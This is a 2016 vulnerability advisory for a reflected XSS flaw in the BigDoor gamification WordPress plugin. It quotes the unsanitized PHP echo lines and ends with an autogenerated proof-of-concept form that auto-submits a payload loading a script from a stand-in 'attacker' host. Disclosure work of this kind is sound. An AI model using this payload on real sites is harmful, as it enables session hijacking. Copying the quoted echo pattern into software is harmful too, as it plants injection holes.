Advisory #: 1410
Title: Reflected XSS in wordpress plugin bigdoor-quick-gamification-for-wordpress v1.0.5
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/bigdoor-quick-gamification-for-wordpress
Downloads: 2584
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: bigdoor-quick-gamification-for-wordpress
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./bigdoor-quick-gamification-for-wordpress/wp-bigdoor-admin.php: 416: echo $_POST['bdm_default_xp_name'].' '; 489: echo $_POST['bdm_default_xp_name'].' '; 521: echo $_POST['bdm_default_xp_name'].' '; 594: echo $_POST['bdm_default_xp_name'].' '; 1545: <input name="bdm_default_xp_name" type="text" class="bdm_user_login_trans_id" value="<?php echo $_POST['bdm_default_xp_name'] ?>"/><br/> 1569: <input name="bdm_default_att_award_name" type="text" class="bdm_user_login_trans_id" value="<?php echo $_POST['bdm_default_att_award_name'] ?>"/><br/> The variable bdm_default_xp_name appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./bigdoor-quick-gamification-for-wordpress/wp-bigdoor-admin.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/bigdoor-quick-gamification-for-wordpress/wp-bigdoor-admin.php method=post> <input type=hidden name=bdm_default_xp_name value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>